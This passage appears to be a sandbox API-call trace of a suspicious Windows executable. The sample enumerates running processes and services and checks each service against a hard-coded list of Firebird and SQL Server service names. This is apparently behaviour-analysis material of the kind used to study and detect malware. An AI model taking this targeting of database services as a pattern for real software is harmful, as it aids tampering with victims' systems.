lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.213] lstrlenW (lpString="explorer.exe") returned 12 [0204.213] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0204.214] lstrlenW (lpString="SearchUI.exe") returned 12 [0204.214] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0204.214] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0204.214] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0204.215] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0204.215] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.215] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.215] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0204.216] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0204.216] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.216] lstrlenW (lpString="dllhost.exe") returned 11 [0204.216] Process32NextW (in: hSnapshot=0x3c4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0204.217] CloseHandle (hObject=0x3c4) returned 1 [0204.217] Sleep (dwMilliseconds=0x1f4) [0205.007] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b058 [0205.007] EnumServicesStatusExW (in: hSCManager=0x447b058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0205.008] GetLastError () returned 0xea [0205.008] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0205.008] EnumServicesStatusExW (in: hSCManager=0x447b058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0205.009] CloseServiceHandle (hSCObject=0x447b058) returned 1 [0205.009] lstrlenW (lpString="Appinfo") returned 7 [0205.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0205.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0205.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0205.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0205.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0205.009] lstrlenW (lpString="AppXSvc") returned 7 [0205.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0205.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0205.010] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.010] lstrlenW (lpString="Audiosrv") returned 8 [0205.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0205.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0205.010] lstrlenW (lpString="BFE") returned 3 [0205.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.010] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0205.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0205.010] lstrlenW (lpString="CDPSvc") returned 6 [0205.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0205.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0205.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0205.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0205.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0205.011] lstrlenW (lpString="ClickToRunSvc") returned 13 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.011] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0205.011] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0205.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0205.011] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0205.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0205.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0205.011] lstrlenW (lpString="CryptSvc") returned 8 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0205.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0205.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0205.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0205.011] lstrlenW (lpString="DcomLaunch") returned 10 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.011] lstrlenW (lpString="DeviceAssociationService") returned 24 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0205.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0205.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0205.011] lstrlenW (lpString="Dhcp") returned 4 [0205.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.012] lstrlenW (lpString="Dnscache") returned 8 [0205.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.012] lstrlenW (lpString="DPS") returned 3 [0205.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0205.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0205.012] lstrlenW (lpString="DusmSvc") returned 7 [0205.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0205.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0205.012] lstrlenW (lpString="EventLog") returned 8 [0205.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0205.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0205.012] lstrlenW (lpString="EventSystem") returned 11 [0205.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.013] lstrlenW (lpString="FontCache") returned 9 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0205.013] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0205.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0205.013] lstrlenW (lpString="gpsvc") returned 5 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.013] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.013] lstrlenW (lpString="iphlpsvc") returned 8 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0205.013] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0205.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0205.013] lstrlenW (lpString="KeyIso") returned 6 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0205.013] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0205.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0205.013] lstrlenW (lpString="LanmanServer") returned 12 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0205.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0205.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0205.013] lstrlenW (lpString="LanmanWorkstation") returned 17 [0205.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0205.014] lstrlenW (lpString="lfsvc") returned 5 [0205.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0205.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0205.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0205.014] lstrlenW (lpString="lmhosts") returned 7 [0205.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.014] lstrlenW (lpString="LSM") returned 3 [0205.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0205.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0205.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0205.014] lstrlenW (lpString="MpsSvc") returned 6 [0205.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0205.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0205.014] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0205.014] lstrlenW (lpString="NcbService") returned 10 [0205.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0205.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0205.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0205.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0205.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0205.014] lstrlenW (lpString="netprofm") returned 8 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0205.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0205.015] lstrlenW (lpString="NgcSvc") returned 6 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0205.015] lstrlenW (lpString="NlaSvc") returned 6 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0205.015] lstrlenW (lpString="nsi") returned 3 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.015] lstrlenW (lpString="PcaSvc") returned 6 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0205.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0205.015] lstrlenW (lpString="PlugPlay") returned 8 [0205.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.016] lstrlenW (lpString="Power") returned 5 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.016] lstrlenW (lpString="ProfSvc") returned 7 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.016] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.016] lstrlenW (lpString="RpcSs") returned 5 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.016] lstrlenW (lpString="SamSs") returned 5 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.016] lstrlenW (lpString="Schedule") returned 8 [0205.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.017] lstrlenW (lpString="SecurityHealthService") returned 21 [0205.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0205.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0205.017] lstrlenW (lpString="SENS") returned 4 [0205.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.017] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.017] lstrlenW (lpString="Spooler") returned 7 [0205.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.017] lstrlenW (lpString="StateRepository") returned 15 [0205.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0205.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0205.017] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0205.017] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0205.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0205.018] lstrlenW (lpString="SysMain") returned 7 [0205.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0205.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0205.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0205.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0205.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0205.018] lstrlenW (lpString="SystemEventsBroker") returned 18 [0205.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 